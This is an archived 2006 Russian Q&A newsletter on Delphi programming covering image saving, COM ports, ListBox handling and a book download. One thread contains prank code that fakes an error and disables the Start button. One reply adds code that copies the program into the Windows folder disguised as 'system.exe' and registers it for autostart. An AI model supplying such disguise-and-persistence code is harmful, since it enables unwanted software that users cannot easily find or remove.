/ КОМПЬЮТЕРЫ И ПО / Языки программирования / Delphi

Выпуск № 658
от 22.11.2006, 19:05

Вопрос № 62.911

Уважаемые эксперты!!! Итак: Требуется сохранить изображение попиксельно в файл, делаю так: var f:file; h:longint; b:word; a:array of longint; i,j:integer; begin Setlength(a,iwidth*iheight); for j:=0 to iheight do for i:=0 to iwidth do begin h:=image1.Canvas.Pixels[i,j]; b:=i+j*iWidth; a[b]:=h; end; assignfile(f,filename); rewrite(f,4); blockwrite(f,iheight,1); blockwrite(f,iwidth,1); for i:=0 to iwidth*iheight do blockwrite(f,a[i],1); closefile(f); Изображение сохраняется,все прекрастно работает. НО мне нужно сохранить изображение в 24 битной палитре в пиксельном режиме 888 (R8 G8 B8)! Т.е в моей программе красный 255, а должен ff0000 (16711680). Как перевести?

Отправлен: 16.11.2006, 19:25 Вопрос задал: Golden Spider (статус: 5-ый класс) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: Сухомлин Кирилл Владимирович Здравствуйте, Golden Spider! В любом случае придется разбивать TColor на отдельные байты. Предлагаю сохранять и загружать побайтово и использовать для этого не BitMap.Canvas.Pixels[x,y], а BitMap.ScanLine[y]. Кстати, работающее гораздо быстрее. Это указатель на последовательность байт ([RGB][RGB]...[RGB]), соответсвтующая строке пикселей с номером y. Можно сохранять в переменную типа pByteArray. Если так надо сохранять в longint (хотя это X8 R8 G8 B8, а не R8 G8 B8), сохраняйте так: p := BitMap.ScanLine[y]; h := p^[x*3]; h := h shl 8 + p^[x*3+1]; h := h shl 8 + p^[x*3+2]; // h - та же переменная, что у вас. Далее ее также и заисываете Кстати, промежуточный массив не особо нужен - можно сразу писать в файл. А если не надо, то пишите блоками (вариант, про который я вначале говорил): for y := 0 to BitMap.Height-1 do blockwrite(f, BitMap.ScanLine[y], 3*iwidth); --------- Не узнаешь - не попробуешь.

Ответ отправил: Сухомлин Кирилл Владимирович (статус: Практикант) Ответ отправлен: 16.11.2006, 21:33 Оценка за ответ: 5 Комментарий оценки: Thanks!!!

Вопрос № 62.926

Здравствуйте уважаемые эксперты! Я недавно наткнулся на статью о программах, использующих API-функции и решил написать программу-шутку (там были варианты нескольких программ-шуток). Она представлена в приложении. Эта программа выводит веселое сообщение об ошибки и блокирует затем открытие меню ПУСК с помощью мыши. Программа работает. Программа после закрытия окна сообщения закрывается, но кнопка ПУСК с помощью мыши не доступна. У меня возникла идея модифицировать ее, но не знаю как (опыт у меня небольшой, в основном по работе с элементами форм). А вопрос заключается в следующем: 1) Где в программе мне нужно внести изменения и какие, чтобы: а) данная программа скопировала бы свой исполнимый файл на жесткий диск в конкретный каталог (для примера C:\WINDOWS\USER_1) переименовав свой файл; б) прописать ярлык в меню ПУСК->ПРОГРАММЫ->АВТОЗАГРУЗКА на скопированный файл, предварительно проверив не существует ли он... в) при открытии меню (в пункте (б) можно было удалить ярлык на пользовательском уровне, т.е. через вызов контекстного меню данного ярлыка и выбора команды УДАЛИТЬ в Win98 и выше), и после удаления ярлыка из АВТОЗАГРУЗКИ и дальнейшей перезагрузки связь с этой программой не восстановилась. г) самое главное, чтобы эти дополнения не несли вредоносный код... 2) Программа с требуемыми изменениями не относится ли к разряду вирусов? И пожалуйста опишите подробнее добавляемые команды. И еще, где можно скачать учебник (бесплатно и на русском языке), который охватывает все вопросы, с которыми я столкнусь в данном проекте? Заранее спасибо! Приложение: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var StartBtnWnd,StartBtnBmp:HWnd; mes:variant; begin mes:=MessageDlg('Коврик для мышки совершил недопустимую операцию и будет свернут... Если ошибка будет повторяться, пошлите ее на ...!',MtError,[mbOk],0); StartBtnWnd:=FindWindow('Shell_TrayWnd',nil); StartBtnBmp:=FindWindowEx(StartBtnWnd,0,'BUTTON',nil); EnableWindow(StartBtnBmp,FALSE); Close; end; end.

Отправлен: 16.11.2006, 21:03 Вопрос задал: Минаев Юра (статус: Посетитель) Всего ответов: 2 Мини-форум вопроса >>> (сообщений: 2)

Отвечает: PaVeL_Ekt Здравствуйте, Минаев Юра! данная программа тоже может считаться вредоносной программой, а создание вредоносной программы влечет уголовную ответственность!!! так-что подумай, прежде чем писать!!! а в качестве развития (не для написания вредоносных программных продуктов) вот несколько функций !!! Приложение: СopyFile(PChar(OldFileName),PChar(NewFileName),False); последний параметр "перезапись при совпадении нового имени и уже существующего файла";-копирование RenameFile(OldFileName,NewFileName);-переименовывание DeleteFile(FileName);-удаление WinExec(PChar(FileName),nCmdShow);-запуск nCmdShow Specifies how the window is to be shown. This parameter is ignored the first time an application calls ShowWindow, if the program that launched the application provides a STARTUPINFO structure. Otherwise, the first time ShowWindow is called, the value should be the value obtained by the WinMain function in its nCmdShow parameter. In subsequent calls, this parameter can be one of the following values: Value Meaning SW_HIDE Hides the window and activates another window. SW_MAXIMIZE Maximizes the specified window. SW_MINIMIZE Minimizes the specified window and activates the next top-level window in the Z order. SW_RESTORE Activates and displays the window. If the window is minimized or maximized, Windows restores it to its original size and position. An application should specify this flag when restoring a minimized window. SW_SHOW Activates the window and displays it in its current size and position. SW_SHOWDEFAULT Sets the show state based on the SW_ flag specified in the STARTUPINFO structure passed to the CreateProcess function by the program that started the application. SW_SHOWMAXIMIZED Activates the window and displays it as a maximized window. SW_SHOWMINIMIZED Activates the window and displays it as a minimized window. SW_SHOWMINNOACTIVE Displays the window as a minimized window. The active window remains active. SW_SHOWNA Displays the window in its current state. The active window remains active. SW_SHOWNOACTIVATE Displays a window in its most recent size and position. The active window remains active. SW_SHOWNORMAL Activates and displays a window. If the window is minimized or maximized, Windows restores it to its original size and position. An application should specify this flag when displaying the window for the first time. --------- Да поможет Вам F1, да сохранит Вас F2, во имя CTRL, ALT и святого DEL

Ответ отправил: PaVeL_Ekt (статус: 3-ий класс) Ответ отправлен: 17.11.2006, 13:54 Оценка за ответ: 5 Комментарий оценки: Спасибо, я учту. На самом деле я хотел разыграть друзей и одновременно преподать урок, чтобы были более бдительны: 1) Не отключали антивирусную защиту для ускорения работы Windows 2) Не запускали неизвестные приложения, не выяснив их назначение (чрезмерное любопытство приводит к серьезным последствиям) И при этом, чтобы не запортить систему.

Отвечает: Sattar Здравствуйте, Минаев Юра! За використання даного коду відповідпьності НЕ НЕСУ!!!! Використовуй на свій страх і ризик! Приложение: uses ShellApi,ComObj,ActiveX,ShlObj; var s:string; procedure CreateShotCut(SourceFile, ShortCutName,SourceParams: String); {function from Delphi_glazami_xakera} var IUnk: IUnknown; ShellLink: IShellLink; ShellFile: IPersistFile; tmpShortCutName: string; WideStr: WideString; i: Integer; begin IUnk := CreateComObject(CLSID_ShellLink); ShellLink := IUnk as IShellLink; ShellFile := IUnk as IPersistFile; ShellLink.SetPath(PChar(SourceFile)); ShellLink.SetArguments(PChar(SourceParams)); ShellLink.SetWorkingDirectory(PChar(ExtractFilePath(SourceFile))); ShortCutName := ChangeFileExt(ShortCutName,'.lnk'); if fileexists(ShortCutName) then begin ShortCutName := copy(ShortCutName,1,length(ShortCutName)-4); i := 1; repeat tmpShortCutName := ShortCutName +'(' + inttostr(i)+ ').lnk'; inc(i); until not fileexists(tmpShortCutName); WideStr := tmpShortCutName; end else WideStr := ShortCutName; ShellFile.Save(PWChar(WideStr),False); end; procedure TForm1.FormCreate(Sender: TObject); var a : array[0..144] of char; begin GetWindowsDirectory(a, sizeof(a)); s:=a[0]; CopyFile(PAnsiChar(ParamStr(0)),PAnsiChar(a+'system.exe'),True); CreateShotCut(PAnsiChar(a+'system.exe'),s+':Documents and SettingsAll UsersГлавное менюПрограммыАвтозагрузкаsystem', '') ; end; procedure TForm1.Button1Click(Sender: TObject); begin DeleteFile(s+':Documents and SettingsAll UsersГлавное менюПрограммыАвтозагрузкаsystem.lnk') end; end.

Ответ отправил: Sattar (статус: 3-ий класс) Ответ отправлен: 19.11.2006, 11:51

Вопрос № 63.000

Здравствуйте, уважаемые эксперты! В приложении пример из delphiworld, который ставит флаги DTR и RTS в активное состояние для выбранного порта. Мне нужно "выключить" DTR и RTS. Подскажите, пожалуйста, как это сделать? Заранее благодарен! Приложение: Procedure ControlRTS; Var S: String; lDCB: TDCB; fHandle: THandle; Begin S:='COM1'; // open port fHandle:=CreateFile( Pchar(S), GENERIC_READ Or GENERIC_WRITE, 0, Nil, OPEN_EXISTING, 0, 0); If fHandle=INVALID_HANDLE_VALUE Then Begin // can't open.... Exit; End; // read settings If Not GetCommState( fHandle, lDCB) Then Begin // can't read Exit; End; // Fill dcb lDCB.BaudRate:=CBR_2400; lDCB.ByteSize:=8; lDCB.Parity:=NOPARITY; lDCB.StopBits:=ONESTOPBIT; // !!! we will manage RTS ourself !!! ldcb.Flags:=(ldcb.Flags And $FFFFC0FF) Or $00000100; // set comm state SetCommState( fHandle, ldcb); // Here we can manage // Reset RTS EscapeCommFunction( fHandle, CLRRTS); // Set RTS EscapeCommFunction( fHandle, SETRTS); // Close port CloseHandle(fHandle); fHandle:=0; End;

Отправлен: 17.11.2006, 12:06 Вопрос задал: Андрющенко Вячеслав Васильевич (статус: 1-ый класс) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: Маренич Владимир Здравствуйте, Андрющенко Вячеслав Васильевич! В Вашем приложении уже есть управление RTS. DTR точно также управляется EscapeCommFunction( fHandle, SETDTR); //Установка DTR EscapeCommFunction( fHandle, CLRDTR); //Сброс DTR Т.е., я так понял, что Вам нужно перед началом обмена вызвать EscapeCommFunction( fHandle, CLRRTS); EscapeCommFunction( fHandle, CLRDTR);

Ответ отправил: Маренич Владимир (статус: Студент) Ответ отправлен: 17.11.2006, 12:37 Оценка за ответ: 3

Вопрос № 63.017

Здравствуйте! Использую Delphi 2005. 1. Использую компонент ListBox для отображения списка файлов. К примеру есть такой список: 1.txt 2.txt 3.txt Как получить значение элемента по которому кликнули? Если использовать например GetText то возвращается строка со всеми элементами. Мне нужно открыть соответствующий файл. А можно ли привязать к элементу ...что-то вроде действия. Чтобы в этом конкретно списке были не имена файлов, а заголовки (их содержит первая строка файла), но при нажатии открывался привязанный файл?

Отправлен: 17.11.2006, 14:39 Вопрос задал: Yadovit (статус: 3-ий класс) Всего ответов: 3 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: PaVeL_Ekt Здравствуйте, Yadovit! Получить значение ListBox-а можно Procedure listbox1OnClick(sender:TObject); var s:string; f:file; buf:array [1.1024] of byte; begin s:=listbox1.items.strings[listbox1.itemindex]; // а дальше работа с файлами !!! assignfile(f, s); reset(f, 1); blockread(f, buf, sizeof(buf)); // и т.д. closefile(f); end; --------- Да поможет Вам F1, да сохранит Вас F2, во имя CTRL, ALT и святого DEL

Ответ отправил: PaVeL_Ekt (статус: 3-ий класс) Ответ отправлен: 17.11.2006, 14:59

Отвечает: KiberZero Здравствуйте, Yadovit! Можно ещё и так попробовать. Если здесь Reset(f,'1.txt'); выполнить прописку полного пути открытия файла, то можно использовать заголовки файлов... Приложение: procedure TForm1.ListBox1Click(Sender: TObject); var f:TextFile; fl:String[100]; buf:String[100]; begin fl:=ListBox1.Items.Strings[ListBox1.ItemIndex]; AssignFile(f,fl); {&I-} Reset(f,'1.txt'); {&I+} // и т.д. // ... while not EOF(f) do begin Readln(f,buf); Memo1.Lines.Add(buf); end; CloseFile(f); end; end.

Ответ отправил: KiberZero (статус: 1-ый класс) Ответ отправлен: 18.11.2006, 23:16

Отвечает: Sattar Здравствуйте, Yadovit! 1.procedure TForm1.ListBox1Click(Sender: TObject); begin ShowMessage(ListBox1.Items.Strings[ListBox1.ItemIndex]); end; Приложение: 2. procedure TForm1.ListBox1Click(Sender: TObject); begin ShellExecute(Handle,nil,PAnsiChar(ListBox1.Items.Strings[ListBox1.ItemIndex]),nil,nil,SW_SHOWNORMAL); end; 3. var Files:TstringList; procedure TForm1.ListBox1Click(Sender: TObject); begin ShellExecute(Handle,nil,PAnsiChar(Files.Strings[ListBox1.ItemIndex]),nil,nil,SW_SHOWNORMAL); end; procedure TForm1.FormCreate(Sender: TObject); var SR:TSearchRec; F:TextFile; S:string; begin Files:=TStringList.Create; if FindFirst(getcurrentdir+'*.txt',faAnyFile,SR)=0 then repeat begin AssignFile(F,SR.Name); Reset(F); Readln(F,S); ListBox1.Items.Add(S); Files.Add(Sr.Name); CloseFile(F); end; until FindNext(SR)<>0 ; FindClose(SR); end;

Ответ отправил: Sattar (статус: 3-ий класс) Ответ отправлен: 19.11.2006, 18:08

Вопрос № 63.018

Подскажите где можно скачать диск к книге Флеонова Делфи глазами хакера

Отправлен: 17.11.2006, 15:11 Вопрос задал: Negruzzi Cristian (статус: Посетитель) Всего ответов: 1 Мини-форум вопроса >>> (сообщений: 0)

Отвечает: KiberZero Здравствуйте, Negruzzi Cristian! Если не ошибаюсь, то здесь - http://xammep.nm.ru/library.html.

Ответ отправил: KiberZero (статус: 1-ый класс) Ответ отправлен: 17.11.2006, 20:11

© 2001-2006, Портал RusFAQ.ru, Россия, Москва. Идея, дизайн, программирование: Калашников О.А. Email: adm@rusfaq.ru, Тел.: +7 (926) 535-23-31 Авторские права | Реклама на портале Версия системы: 4.37 от 04.10.2006